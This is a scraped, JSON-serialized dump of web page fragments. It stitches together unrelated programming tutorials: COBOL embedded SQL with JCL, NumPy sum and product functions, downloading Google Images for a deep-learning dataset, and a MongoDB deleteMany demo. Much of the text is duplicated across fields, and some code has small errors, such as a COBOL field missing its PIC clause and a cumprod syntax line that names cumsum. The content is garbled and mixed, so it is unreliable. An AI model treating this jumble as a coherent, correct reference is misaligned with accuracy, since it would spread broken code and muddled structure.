"Record Inserted Successfully\n1005 TutorialsPoint\t\tHyderabad\n" }, { "code": null, "e": 7965, "s": 7890, "text": "The following example shows the usage of UPDATE query in a COBOL program −" }, { "code": null, "e": 8673, "s": 7965, "text": "IDENTIFICATION DIVISION.\nPROGRAM-ID. HELLO.\n\nDATA DIVISION.\n WORKING-STORAGE SECTION.\n \n EXEC SQL\n INCLUDE SQLCA\n END-EXEC.\n \n EXEC SQL\n INCLUDE STUDENT\n END-EXEC.\n \n EXEC SQL BEGIN DECLARE SECTION\n END-EXEC.\n 01 WS-STUDENT-REC.\n 05 WS-STUDENT-ID PIC 9(4).\n 05 WS-STUDENT-NAME PIC X(25).\n 05 WS-STUDENT-ADDRESS X(50).\n EXEC SQL END DECLARE SECTION\n END-EXEC.\n\nPROCEDURE DIVISION.\n MOVE 'Bangalore' TO WS-STUDENT-ADDRESS.\n EXEC SQL\n UPDATE STUDENT SET STUDENT-ADDRESS=:WS-STUDENT-ADDRESS\n WHERE STUDENT-ID = 1003\n END-EXEC.\n \n IF SQLCODE = 0 \n DISPLAY 'Record Updated Successfully'\n ELSE DISPLAY 'Error'\n END-IF.\nSTOP RUN." }, { "code": null, "e": 8714, "s": 8673, "text": "JCL to execute the above COBOL program −" }, { "code": null, "e": 9008, "s": 8714, "text": "//SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C\n//STEP001 EXEC PGM = IKJEFT01\n//STEPLIB DD DSN = MYDATA.URMI.DBRMLIB,DISP = SHR\n//SYSPRINT DD SYSOUT = *\n//SYSUDUMP DD SYSOUT = *\n//SYSOUT DD SYSOUT = *\n//SYSTSIN DD *\n DSN SYSTEM(SSID)\n RUN PROGRAM(HELLO) PLAN(PLANNAME) -\n END\n/*" }, { "code": null, "e": 9091, "s": 9008, "text": "When you compile and execute the above program, it produces the following result −" }, { "code": null, "e": 9120, "s": 9091, "text": "Record Updated Successfully\n" }, { "code": null, "e": 9195, "s": 9120, "text": "The following example shows the usage of DELETE query in a COBOL program −" }, { "code": null, "e": 9862, "s": 9195, "text": "IDENTIFICATION DIVISION.\nPROGRAM-ID. HELLO.\n\nDATA DIVISION.\nWORKING-STORAGE SECTION.\n\n EXEC SQL\n INCLUDE SQLCA\n END-EXEC.\n \n EXEC SQL\n INCLUDE STUDENT\n END-EXEC.\n \n EXEC SQL BEGIN DECLARE SECTION\n END-EXEC.\n 01 WS-STUDENT-REC.\n 05 WS-STUDENT-ID PIC 9(4).\n 05 WS-STUDENT-NAME PIC X(25).\n 05 WS-STUDENT-ADDRESS X(50).\n EXEC SQL END DECLARE SECTION\n END-EXEC.\n\nPROCEDURE DIVISION.\n MOVE 1005 TO WS-STUDENT-ID.\n \n EXEC SQL\n DELETE FROM STUDENT\n WHERE STUDENT-ID=:WS-STUDENT-ID\n END-EXEC.\n \n IF SQLCODE = 0 \n DISPLAY 'Record Deleted Successfully'\n ELSE DISPLAY 'Error'\n END-IF.\nSTOP RUN." }, { "code": null, "e": 9903, "s": 9862, "text": "JCL to execute the above COBOL program −" }, { "code": null, "e": 10195, "s": 9903, "text": "//SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C\n//STEP001 EXEC PGM = IKJEFT01\n//STEPLIB DD DSN = MYDATA.URMI.DBRMLIB,DISP=SHR\n//SYSPRINT DD SYSOUT = *\n//SYSUDUMP DD SYSOUT = *\n//SYSOUT DD SYSOUT = *\n//SYSTSIN DD *\n DSN SYSTEM(SSID)\n RUN PROGRAM(HELLO) PLAN(PLANNAME) -\n END\n/*" }, { "code": null, "e": 10278, "s": 10195, "text": "When you compile and execute the above program, it produces the following result −" }, { "code": null, "e": 10307, "s": 10278, "text": "Record Deleted Successfully\n" }, { "code": null, "e": 10564, "s": 10307, "text": "Cursors are used to handle multiple row selections at a time. They are data structures that hold all the results of a query. They can be defined in the Working-Storage Section or the Procedure Division. Following are the operations associated with Cursor −" }, { "code": null, "e": 10572, "s": 10564, "text": "Declare" }, { "code": null, "e": 10577, "s": 10572, "text": "Open" }, { "code": null, "e": 10583, "s": 10577, "text": "Close" }, { "code": null, "e": 10589, "s": 10583, "text": "Fetch" }, { "code": null, "e": 10759, "s": 10589, "text": "Cursor declaration can be done in the Working-Storage Section or the Procedure Division. The first statement is the DECLARE statement which is a nonexecutable statement." }, { "code": null, "e": 10909, "s": 10759, "text": "EXEC SQL\n DECLARE STUDCUR CURSOR FOR\n SELECT STUDENT-ID, STUDENT-NAME, STUDENT-ADDRESS FROM STUDENT\n WHERE STUDENT-ID >:WS-STUDENT-ID\nEND-EXEC." }, { "code": null, "e": 11020, "s": 10909, "text": "Before using a cursor, Open statement must be performed. The Open statement prepares the SELECT for execution." }, { "code": null, "e": 11055, "s": 11020, "text": "EXEC SQL\n OPEN STUDCUR\nEND-EXEC." }, { "code": null, "e": 11178, "s": 11055, "text": "Close statement releases all the memory occupied by the cursor. It is mandatory to close a cursor before ending a program." }, { "code": null, "e": 11214, "s": 11178, "text": "EXEC SQL\n CLOSE STUDCUR\nEND-EXEC." }, { "code": null, "e": 11355, "s": 11214, "text": "Fetch statement identifies the cursor and puts the value in the INTO clause. A Fetch statement is coded in loop as we get one row at a time." }, { "code": null, "e": 11452, "s": 11355, "text": "EXEC SQL\n FETCH STUDCUR\n INTO :WS-STUDENT-ID, :WS-STUDENT-NAME, WS-STUDENT-ADDRESS\nEND-EXEC." }, { "code": null, "e": 11550, "s": 11452, "text": "The following example shows the usage of cursor to fetch all the records from the STUDENT table −" }, { "code": null, "e": 12383, "s": 11550, "text": "IDENTIFICATION DIVISION.\nPROGRAM-ID. HELLO.\n\nDATA DIVISION.\n WORKING-STORAGE SECTION.\n \n EXEC SQL\n INCLUDE SQLCA\n END-EXEC.\n \n EXEC SQL\n INCLUDE STUDENT\n END-EXEC.\n \n EXEC SQL BEGIN DECLARE SECTION\n END-EXEC.\n 01 WS-STUDENT-REC.\n 05 WS-STUDENT-ID PIC 9(4).\n 05 WS-STUDENT-NAME PIC X(25).\n 05 WS-STUDENT-ADDRESS X(50).\n EXEC SQL END DECLARE SECTION\n END-EXEC.\n \n EXEC SQL\n DECLARE STUDCUR CURSOR FOR\n SELECT STUDENT-ID, STUDENT-NAME, STUDENT-ADDRESS FROM STUDENT\n WHERE STUDENT-ID >:WS-STUDENT-ID\n END-EXEC.\n\nPROCEDURE DIVISION.\n MOVE 1001 TO WS-STUDENT-ID.\n PERFORM UNTIL SQLCODE = 100\n \n EXEC SQL\n FETCH STUDCUR\n INTO :WS-STUDENT-ID, :WS-STUDENT-NAME, WS-STUDENT-ADDRESS\n END-EXEC\n \n DISPLAY WS-STUDENT-REC\nEND-PERFORM\t\nSTOP RUN." }, { "code": null, "e": 12424, "s": 12383, "text": "JCL to execute the above COBOL program −" }, { "code": null, "e": 12706, "s": 12424, "text": "//SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C\n//STEP001 EXEC PGM=IKJEFT01\n//STEPLIB DD DSN=MYDATA.URMI.DBRMLIB,DISP=SHR\n//SYSPRINT DD SYSOUT=*\n//SYSUDUMP DD SYSOUT=*\n//SYSOUT DD SYSOUT=*\n//SYSTSIN DD *\n DSN SYSTEM(SSID)\n RUN PROGRAM(HELLO) PLAN(PLANNAME) -\n END\n/*" }, { "code": null, "e": 12789, "s": 12706, "text": "When you compile and execute the above program, it produces the following result −" }, { "code": null, "e": 12902, "s": 12789, "text": "1001 Mohtashim M.\t\tHyderabad\n1002 Nishant Malik\t\tDelhi\n1003 Amitabh Bachan\t\tMumbai\n1004 Chulbul Pandey\t\tLucknow\n" }, { "code": null, "e": 12937, "s": 12902, "text": "\n 12 Lectures \n 2.5 hours \n" }, { "code": null, "e": 12952, "s": 12937, "text": " Nishant Malik" }, { "code": null, "e": 12987, "s": 12952, "text": "\n 33 Lectures \n 3.5 hours \n" }, { "code": null, "e": 13011, "s": 12987, "text": " Craig Kenneth Kaercher" }, { "code": null, "e": 13018, "s": 13011, "text": " Print" }, { "code": null, "e": 13029, "s": 13018, "text": " Add Notes" } ]
Find the sum and product of a NumPy array elements - GeeksforGeeks
14 Dec, 2021 In this article, let’s discuss how to find the sum and product of NumPy arrays. Sum of NumPy array elements can be achieved in the following ways Method #1: Using numpy.sum() Syntax: numpy.sum(array_name, axis=None, dtype=None, out=None, keepdims=<no value>, initial=<no value>, where=<no value>) Example: Python3 # importing numpyimport numpy as np def main(): # initialising array print('Initialised array') gfg = np.array([[1, 2, 3], [4, 5, 6]]) print(gfg) # sum along row print(np.sum(gfg, axis=1)) # sum along column print(np.sum(gfg, axis=0)) # sum of entire array print(np.sum(gfg)) # use of out # initialise a array with same dimensions # of expected output to use OUT parameter b = np.array([0]) # np.int32)#.shape = 1 print(np.sum(gfg, axis=1, out=b)) # the output is stored in b print(b) # use of keepdim print('with axis parameter') # output array's dimension is same as specified # by the axis print(np.sum(gfg, axis=0, keepdims=True)) # output consist of 3 columns print(np.sum(gfg, axis=1, keepdims=True)) # output consist of 2 rows print('without axis parameter') print(np.sum(gfg, keepdims=True)) # we added 100 to the actual result print('using initial parameter in sum function') print(np.sum(gfg, initial=100)) # False allowed to skip sum operation on column 1 and 2 # that's why output is 0 for them print('using where parameter ') print(np.sum(gfg, axis=0, where=[True, False, False])) if __name__ == "__main__": main() Output: Initialised array [[1 2 3] [4 5 6]] [ 6 15] [5 7 9] 21 [21] [21] with axis parameter [[5 7 9]] [[ 6] [15]] without axis parameter [[21]] using initial parameter in sum function 121 using where parameter [5 0 0] Note: using numpy.sum on array elements consisting Not a Number (NaNs) elements gives an error, To avoid this we use numpy.nansum() the parameters are similar to the former except the latter doesn’t support where and initial. Method #2: Using numpy.cumsum() Returns the cumulative sum of the elements in the given array. Syntax: numpy.cumsum(array_name, axis=None, dtype=None, out=None) Example: Python3 # importing numpyimport numpy as np def main(): # initialising array print('Initialised array') gfg = np.array([[1, 2, 3], [4, 5, 6]]) print('original array') print(gfg) # cumulative sum of the array print(np.cumsum(gfg)) # cumulative sum of the array along # axis 1 print(np.cumsum(gfg, axis=1)) # initialising a 2x3 shape array b = np.array([[None, None, None], [None, None, None]]) # finding cumsum and storing it in array np.cumsum(gfg, axis=1, out=b) # printing resultant array print(b) if __name__ == "__main__": main() Output: Initialised array original array [[1 2 3] [4 5 6]] [ 1 3 6 10 15 21] [[ 1 3 6] [ 4 9 15]] [[1 3 6] [4 9 15]] Product of NumPy arrays can be achieved in the following ways Method #1: Using numpy.prod() Syntax: numpy.prod(array_name, axis=None, dtype=None, out=None, keepdims=<no value>, initial=<no value>, where=<no value>) Example: Python3 # importing numpyimport numpy as np def main(): # initialising array print('Initialised array') gfg = np.array([[1, 2, 3], [4, 5, 6]]) print(gfg) # product along row print(np.prod(gfg, axis=1)) # product along column print(np.prod(gfg, axis=0)) # sum of entire array print(np.prod(gfg)) # use of out # initialise a array with same dimensions # of expected output to use OUT parameter b = np.array([0]) # np.int32)#.shape = 1 print(np.prod(gfg, axis=1, out=b)) # the output is stored in b print(b) # use of keepdim print('with axis parameter') # output array's dimension is same as specified # by the axis print(np.prod(gfg, axis=0, keepdims=True)) # output consist of 3 columns print(np.prod(gfg, axis=1, keepdims=True)) # output consist of 2 rows print('without axis parameter') print(np.prod(gfg, keepdims=True)) # we initialise product to a factor of 10 # instead of 1 print('using initial parameter in sum function') print(np.prod(gfg, initial=10)) # False allowed to skip sum operation on column 1 and 2 # that's why output is 1 which is default initial value print('using where parameter ') print(np.prod(gfg, axis=0, where=[True, False, False])) if __name__ == "__main__": main() Output: Initialised array [[1 2 3] [4 5 6]] [ 6 120] [ 4 10 18] 720 [720] [720] with axis parameter [[ 4 10 18]] [[ 6] [120]] without axis parameter [[720]] using initial parameter in sum function 7200 using where parameter [4 1 1] Method #2: Using numpy.cumprod() Returns a cumulative product of the array. Syntax: numpy.cumsum(array_name, axis=None, dtype=None, out=None)axis = [integer,Optional] Python3 # importing numpyimport numpy as np def main(): # initialising array print('Initialised array') gfg = np.array([[1, 2, 3], [4, 5, 6]]) print('original array') print(gfg) # cumulative product of the array print(np.cumprod(gfg)) # cumulative product of the array along # axis 1 print(np.cumprod(gfg, axis=1)) # initialising a 2x3 shape array b = np.array([[None, None, None], [None, None, None]]) # finding cumprod and storing it in array np.cumprod(gfg, axis=1, out=b) # printing resultant array print(b) if __name__ == "__main__": main() Output: Initialised array original array [[1 2 3] [4 5 6]] [ 1 2 6 24 120 720] [[ 1 2 6] [ 4 20 120]] [[1 2 6] [4 20 120]] anikakapoor Python numpy-arrayManipulation Python-numpy Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments How to Install PIP on Windows ? Selecting rows in pandas DataFrame based on conditions How to drop one or multiple columns in Pandas Dataframe Python | Get unique values from a list Check if element exists in list in Python How To Convert Python Dictionary To JSON? Defaultdict in Python Python | os.path.join() method Create a directory in Python Bar Plot in Matplotlib
[ { "code": null, "e": 24212, "s": 24184, "text": "\n14 Dec, 2021" }, { "code": null, "e": 24293, "s": 24212, "text": "In this article, let’s discuss how to find the sum and product of NumPy arrays. " }, { "code": null, "e": 24359, "s": 24293, "text": "Sum of NumPy array elements can be achieved in the following ways" }, { "code": null, "e": 24389, "s": 24359, "text": "Method #1: Using numpy.sum()" }, { "code": null, "e": 24511, "s": 24389, "text": "Syntax: numpy.sum(array_name, axis=None, dtype=None, out=None, keepdims=<no value>, initial=<no value>, where=<no value>)" }, { "code": null, "e": 24520, "s": 24511, "text": "Example:" }, { "code": null, "e": 24528, "s": 24520, "text": "Python3" }, { "code": "# importing numpyimport numpy as np def main(): # initialising array print('Initialised array') gfg = np.array([[1, 2, 3], [4, 5, 6]]) print(gfg) # sum along row print(np.sum(gfg, axis=1)) # sum along column print(np.sum(gfg, axis=0)) # sum of entire array print(np.sum(gfg)) # use of out # initialise a array with same dimensions # of expected output to use OUT parameter b = np.array([0]) # np.int32)#.shape = 1 print(np.sum(gfg, axis=1, out=b)) # the output is stored in b print(b) # use of keepdim print('with axis parameter') # output array's dimension is same as specified # by the axis print(np.sum(gfg, axis=0, keepdims=True)) # output consist of 3 columns print(np.sum(gfg, axis=1, keepdims=True)) # output consist of 2 rows print('without axis parameter') print(np.sum(gfg, keepdims=True)) # we added 100 to the actual result print('using initial parameter in sum function') print(np.sum(gfg, initial=100)) # False allowed to skip sum operation on column 1 and 2 # that's why output is 0 for them print('using where parameter ') print(np.sum(gfg, axis=0, where=[True, False, False])) if __name__ == \"__main__\": main()", "e": 25816, "s": 24528, "text": null }, { "code": null, "e": 25824, "s": 25816, "text": "Output:" }, { "code": null, "e": 26038, "s": 25824, "text": "Initialised array\n[[1 2 3]\n [4 5 6]]\n[ 6 15]\n[5 7 9]\n21\n[21]\n[21]\nwith axis parameter\n[[5 7 9]]\n[[ 6]\n [15]]\nwithout axis parameter\n[[21]]\nusing initial parameter in sum function\n121\nusing where parameter \n[5 0 0]" }, { "code": null, "e": 26264, "s": 26038, "text": "Note: using numpy.sum on array elements consisting Not a Number (NaNs) elements gives an error, To avoid this we use numpy.nansum() the parameters are similar to the former except the latter doesn’t support where and initial." }, { "code": null, "e": 26296, "s": 26264, "text": "Method #2: Using numpy.cumsum()" }, { "code": null, "e": 26359, "s": 26296, "text": "Returns the cumulative sum of the elements in the given array." }, { "code": null, "e": 26425, "s": 26359, "text": "Syntax: numpy.cumsum(array_name, axis=None, dtype=None, out=None)" }, { "code": null, "e": 26434, "s": 26425, "text": "Example:" }, { "code": null, "e": 26442, "s": 26434, "text": "Python3" }, { "code": "# importing numpyimport numpy as np def main(): # initialising array print('Initialised array') gfg = np.array([[1, 2, 3], [4, 5, 6]]) print('original array') print(gfg) # cumulative sum of the array print(np.cumsum(gfg)) # cumulative sum of the array along # axis 1 print(np.cumsum(gfg, axis=1)) # initialising a 2x3 shape array b = np.array([[None, None, None], [None, None, None]]) # finding cumsum and storing it in array np.cumsum(gfg, axis=1, out=b) # printing resultant array print(b) if __name__ == \"__main__\": main()", "e": 27052, "s": 26442, "text": null }, { "code": null, "e": 27060, "s": 27052, "text": "Output:" }, { "code": null, "e": 27177, "s": 27060, "text": "Initialised array\noriginal array\n[[1 2 3]\n [4 5 6]]\n[ 1 3 6 10 15 21]\n[[ 1 3 6]\n [ 4 9 15]]\n[[1 3 6]\n [4 9 15]]" }, { "code": null, "e": 27240, "s": 27177, "text": "Product of NumPy arrays can be achieved in the following ways " }, { "code": null, "e": 27271, "s": 27240, "text": "Method #1: Using numpy.prod()" }, { "code": null, "e": 27394, "s": 27271, "text": "Syntax: numpy.prod(array_name, axis=None, dtype=None, out=None, keepdims=<no value>, initial=<no value>, where=<no value>)" }, { "code": null, "e": 27403, "s": 27394, "text": "Example:" }, { "code": null, "e": 27411, "s": 27403, "text": "Python3" }, { "code": "# importing numpyimport numpy as np def main(): # initialising array print('Initialised array') gfg = np.array([[1, 2, 3], [4, 5, 6]]) print(gfg) # product along row print(np.prod(gfg, axis=1)) # product along column print(np.prod(gfg, axis=0)) # sum of entire array print(np.prod(gfg)) # use of out # initialise a array with same dimensions # of expected output to use OUT parameter b = np.array([0]) # np.int32)#.shape = 1 print(np.prod(gfg, axis=1, out=b)) # the output is stored in b print(b) # use of keepdim print('with axis parameter') # output array's dimension is same as specified # by the axis print(np.prod(gfg, axis=0, keepdims=True)) # output consist of 3 columns print(np.prod(gfg, axis=1, keepdims=True)) # output consist of 2 rows print('without axis parameter') print(np.prod(gfg, keepdims=True)) # we initialise product to a factor of 10 # instead of 1 print('using initial parameter in sum function') print(np.prod(gfg, initial=10)) # False allowed to skip sum operation on column 1 and 2 # that's why output is 1 which is default initial value print('using where parameter ') print(np.prod(gfg, axis=0, where=[True, False, False])) if __name__ == \"__main__\": main()", "e": 28767, "s": 27411, "text": null }, { "code": null, "e": 28775, "s": 28767, "text": "Output:" }, { "code": null, "e": 29004, "s": 28775, "text": "Initialised array\n[[1 2 3]\n [4 5 6]]\n[ 6 120]\n[ 4 10 18]\n720\n[720]\n[720]\nwith axis parameter\n[[ 4 10 18]]\n[[ 6]\n [120]]\nwithout axis parameter\n[[720]]\nusing initial parameter in sum function\n7200\nusing where parameter \n[4 1 1]" }, { "code": null, "e": 29038, "s": 29004, "text": "Method #2: Using numpy.cumprod()" }, { "code": null, "e": 29081, "s": 29038, "text": "Returns a cumulative product of the array." }, { "code": null, "e": 29172, "s": 29081, "text": "Syntax: numpy.cumsum(array_name, axis=None, dtype=None, out=None)axis = [integer,Optional]" }, { "code": null, "e": 29180, "s": 29172, "text": "Python3" }, { "code": "# importing numpyimport numpy as np def main(): # initialising array print('Initialised array') gfg = np.array([[1, 2, 3], [4, 5, 6]]) print('original array') print(gfg) # cumulative product of the array print(np.cumprod(gfg)) # cumulative product of the array along # axis 1 print(np.cumprod(gfg, axis=1)) # initialising a 2x3 shape array b = np.array([[None, None, None], [None, None, None]]) # finding cumprod and storing it in array np.cumprod(gfg, axis=1, out=b) # printing resultant array print(b) if __name__ == \"__main__\": main()", "e": 29797, "s": 29180, "text": null }, { "code": null, "e": 29805, "s": 29797, "text": "Output:" }, { "code": null, "e": 29936, "s": 29805, "text": "Initialised array\noriginal array\n[[1 2 3]\n [4 5 6]]\n[ 1 2 6 24 120 720]\n[[ 1 2 6]\n [ 4 20 120]]\n[[1 2 6]\n [4 20 120]]" }, { "code": null, "e": 29948, "s": 29936, "text": "anikakapoor" }, { "code": null, "e": 29979, "s": 29948, "text": "Python numpy-arrayManipulation" }, { "code": null, "e": 29992, "s": 29979, "text": "Python-numpy" }, { "code": null, "e": 29999, "s": 29992, "text": "Python" }, { "code": null, "e": 30097, "s": 29999, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 30106, "s": 30097, "text": "Comments" }, { "code": null, "e": 30119, "s": 30106, "text": "Old Comments" }, { "code": null, "e": 30151, "s": 30119, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 30206, "s": 30151, "text": "Selecting rows in pandas DataFrame based on conditions" }, { "code": null, "e": 30262, "s": 30206, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 30301, "s": 30262, "text": "Python | Get unique values from a list" }, { "code": null, "e": 30343, "s": 30301, "text": "Check if element exists in list in Python" }, { "code": null, "e": 30385, "s": 30343, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 30407, "s": 30385, "text": "Defaultdict in Python" }, { "code": null, "e": 30438, "s": 30407, "text": "Python | os.path.join() method" }, { "code": null, "e": 30467, "s": 30438, "text": "Create a directory in Python" } ]
How to Create Your Own Image Dataset for Deep Learning | by Matt Oehler | Towards Data Science
There are a plethora of MOOCs out there that claim to make you a deep learning/computer vision expert by walking you through the classic MNIST problem. That’s essentially saying that I’d be an expert programmer for knowing how to type: print(“Hello World”). Real expertise is demonstrated by using deep learning to solve your own problems. However, building your own image dataset is a non-trivial task by itself, and it is covered far less comprehensively in most online courses. The goal of this article is to help you gather your own dataset of raw images, which you can then use for your own image classification/computer vision projects. Python: You’ll need to have a working version of python on your machine. (I’m using 3.7.4) Linux/Unix Terminal: We will be running the image downloader from the command line. If you are using Mac or Linux then the standard terminal should be fine. (I’m running Ubuntu 18.04). For Windows, you may need to set up the Windows Subsystem for Linux or find another 3rd party terminal app. Believe it or not, downloading a bunch of images can be done in just a few easy steps. One: Install google-image-downloader using pip: pip install googleimagedownloader Two: Download Google Chrome and Chromedriver You will want to make sure that you get the version of Chromedriver that corresponds to the version of Google Chrome that you are running. To check the version of Chrome on your machine: open up a Chrome browser window, click the menu button in the upper right-hand corner (three stacked dots), then click on ‘Help’ > ‘About Google Chrome’. Once you have Chromedriver downloaded, make sure that you note where the ‘chromedriver’ executable file is stored. We will need to know its location for the next step. Three: Use the command line to download images in batches As an example, let’s say that I want to build a model that can differentiate lizards and snakes. That means I’d need a data set that has images of both lizards and snakes. I’d start by using the following command to download images of lizards: $ googleimagesdownload -k "lizard" -s medium -l 500 -o dataset/train -i lizards -cd ~/chromedriver This command will scrape 500 images from Google Images using the keyword ‘lizard’. It will output those images to: dataset/train/lizards/. The -cd argument points to the location of the ‘chromedriver’ executable file we downloaded earlier. (Note: It make take a few minutes to run for 500 images, so I’d recommend testing it with 10–15 images first to make sure it’s working as expected) If you open up the output folder you should see something like this: For more details about how to use google_image_downloader, I strongly recommend checking out the documentation. Now to get some snake images I can simply run the command above swapping out ‘lizard’ for ‘snake’ in the keywords/image_directory arguments. $ googleimagesdownload -k "snake" -s medium -l 500 -o dataset/train -i snakes -cd ~/chromedriver Boom! With just two simple commands we now have 1,000 images to train a model with. How cool is that?! To make a good dataset though, we would really need to dig deeper. Perhaps we could try using keywords for specific species of lizards/snakes. We just need to be cognizant of the problem we are trying to solve and be creative. At this point, we have barely scratched the surface of starting a deep learning project. All we have done is gather some raw images. There is still plenty of data cleaning/formatting that will need to be done if we want to build a useful model. I can’t emphasize strongly enough that building a good data set will take time. I simply hope that this article was able to provide you with the tools to overcome that initial obstacle of gathering images to build your own data set. I hope you enjoyed this article. Please reach out to me with any comments, questions, or feedback. I’ll do my best to respond in a timely manner.
[ { "code": null, "e": 652, "s": 171, "text": "There are a plethora of MOOCs out there that claim to make you a deep learning/computer vision expert by walking you through the classic MNIST problem. That’s essentially saying that I’d be an expert programmer for knowing how to type: print(“Hello World”). Real expertise is demonstrated by using deep learning to solve your own problems. However, building your own image dataset is a non-trivial task by itself, and it is covered far less comprehensively in most online courses." }, { "code": null, "e": 814, "s": 652, "text": "The goal of this article is to help you gather your own dataset of raw images, which you can then use for your own image classification/computer vision projects." }, { "code": null, "e": 905, "s": 814, "text": "Python: You’ll need to have a working version of python on your machine. (I’m using 3.7.4)" }, { "code": null, "e": 1198, "s": 905, "text": "Linux/Unix Terminal: We will be running the image downloader from the command line. If you are using Mac or Linux then the standard terminal should be fine. (I’m running Ubuntu 18.04). For Windows, you may need to set up the Windows Subsystem for Linux or find another 3rd party terminal app." }, { "code": null, "e": 1285, "s": 1198, "text": "Believe it or not, downloading a bunch of images can be done in just a few easy steps." }, { "code": null, "e": 1333, "s": 1285, "text": "One: Install google-image-downloader using pip:" }, { "code": null, "e": 1367, "s": 1333, "text": "pip install googleimagedownloader" }, { "code": null, "e": 1412, "s": 1367, "text": "Two: Download Google Chrome and Chromedriver" }, { "code": null, "e": 1551, "s": 1412, "text": "You will want to make sure that you get the version of Chromedriver that corresponds to the version of Google Chrome that you are running." }, { "code": null, "e": 1753, "s": 1551, "text": "To check the version of Chrome on your machine: open up a Chrome browser window, click the menu button in the upper right-hand corner (three stacked dots), then click on ‘Help’ > ‘About Google Chrome’." }, { "code": null, "e": 1921, "s": 1753, "text": "Once you have Chromedriver downloaded, make sure that you note where the ‘chromedriver’ executable file is stored. We will need to know its location for the next step." }, { "code": null, "e": 1979, "s": 1921, "text": "Three: Use the command line to download images in batches" }, { "code": null, "e": 2223, "s": 1979, "text": "As an example, let’s say that I want to build a model that can differentiate lizards and snakes. That means I’d need a data set that has images of both lizards and snakes. I’d start by using the following command to download images of lizards:" }, { "code": null, "e": 2322, "s": 2223, "text": "$ googleimagesdownload -k \"lizard\" -s medium -l 500 -o dataset/train -i lizards -cd ~/chromedriver" }, { "code": null, "e": 2562, "s": 2322, "text": "This command will scrape 500 images from Google Images using the keyword ‘lizard’. It will output those images to: dataset/train/lizards/. The -cd argument points to the location of the ‘chromedriver’ executable file we downloaded earlier." }, { "code": null, "e": 2710, "s": 2562, "text": "(Note: It make take a few minutes to run for 500 images, so I’d recommend testing it with 10–15 images first to make sure it’s working as expected)" }, { "code": null, "e": 2779, "s": 2710, "text": "If you open up the output folder you should see something like this:" }, { "code": null, "e": 2891, "s": 2779, "text": "For more details about how to use google_image_downloader, I strongly recommend checking out the documentation." }, { "code": null, "e": 3032, "s": 2891, "text": "Now to get some snake images I can simply run the command above swapping out ‘lizard’ for ‘snake’ in the keywords/image_directory arguments." }, { "code": null, "e": 3129, "s": 3032, "text": "$ googleimagesdownload -k \"snake\" -s medium -l 500 -o dataset/train -i snakes -cd ~/chromedriver" }, { "code": null, "e": 3232, "s": 3129, "text": "Boom! With just two simple commands we now have 1,000 images to train a model with. How cool is that?!" }, { "code": null, "e": 3459, "s": 3232, "text": "To make a good dataset though, we would really need to dig deeper. Perhaps we could try using keywords for specific species of lizards/snakes. We just need to be cognizant of the problem we are trying to solve and be creative." }, { "code": null, "e": 3937, "s": 3459, "text": "At this point, we have barely scratched the surface of starting a deep learning project. All we have done is gather some raw images. There is still plenty of data cleaning/formatting that will need to be done if we want to build a useful model. I can’t emphasize strongly enough that building a good data set will take time. I simply hope that this article was able to provide you with the tools to overcome that initial obstacle of gathering images to build your own data set." } ]
How to delete multiple documents in MongoDB using deleteMany()?
Let us first create a collection with documents − > db.deleteMultipleDocumentsDemo.insertOne({"StudentFirstName":"Larry"}); { "acknowledged" : true, "insertedId" : ObjectId("5ce00b07bf3115999ed51214") } > db.deleteMultipleDocumentsDemo.insertOne({"StudentFirstName":"Chris"}); { "acknowledged" : true, "insertedId" : ObjectId("5ce00b0bbf3115999ed51215") } > db.deleteMultipleDocumentsDemo.insertOne({"StudentFirstName":"David"}); { "acknowledged" : true, "insertedId" : ObjectId("5ce00b0fbf3115999ed51216") } > db.deleteMultipleDocumentsDemo.insertOne({"StudentFirstName":"Bob"}); { "acknowledged" : true, "insertedId" : ObjectId("5ce00b12bf3115999ed51217") } > db.deleteMultipleDocumentsDemo.insertOne({"StudentFirstName":"Carol"}); { "acknowledged" : true, "insertedId" : ObjectId("5ce00b18bf3115999ed51218") } Following is the query to display all documents from a collection with the help of find() method − > db.deleteMultipleDocumentsDemo.find(); This will produce the following output − { "_id" : ObjectId("5ce00b07bf3115999ed51214"), "StudentFirstName" : "Larry" } { "_id" : ObjectId("5ce00b0bbf3115999ed51215"), "StudentFirstName" : "Chris" } { "_id" : ObjectId("5ce00b0fbf3115999ed51216"), "StudentFirstName" : "David" } { "_id" : ObjectId("5ce00b12bf3115999ed51217"), "StudentFirstName" : "Bob" } { "_id" : ObjectId("5ce00b18bf3115999ed51218"), "StudentFirstName" : "Carol" } Following is the query to delete multiple documents in MongoDB − > db.deleteMultipleDocumentsDemo.deleteMany({StudentFirstName: {$in: ["Larry", "David", "Carol"]}}); { "acknowledged" : true, "deletedCount" : 3 } Let us display the document once again − > db.deleteMultipleDocumentsDemo.find(); This will produce the following output − { "_id" : ObjectId("5ce00b0bbf3115999ed51215"), "StudentFirstName" : "Chris" } { "_id" : ObjectId("5ce00b12bf3115999ed51217"), "StudentFirstName" : "Bob" }
[ { "code": null, "e": 1112, "s": 1062, "text": "Let us first create a collection with documents −" }, { "code": null, "e": 1905, "s": 1112, "text": "> db.deleteMultipleDocumentsDemo.insertOne({\"StudentFirstName\":\"Larry\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5ce00b07bf3115999ed51214\")\n}\n> db.deleteMultipleDocumentsDemo.insertOne({\"StudentFirstName\":\"Chris\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5ce00b0bbf3115999ed51215\")\n}\n> db.deleteMultipleDocumentsDemo.insertOne({\"StudentFirstName\":\"David\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5ce00b0fbf3115999ed51216\")\n}\n> db.deleteMultipleDocumentsDemo.insertOne({\"StudentFirstName\":\"Bob\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5ce00b12bf3115999ed51217\")\n}\n> db.deleteMultipleDocumentsDemo.insertOne({\"StudentFirstName\":\"Carol\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5ce00b18bf3115999ed51218\")\n}" }, { "code": null, "e": 2004, "s": 1905, 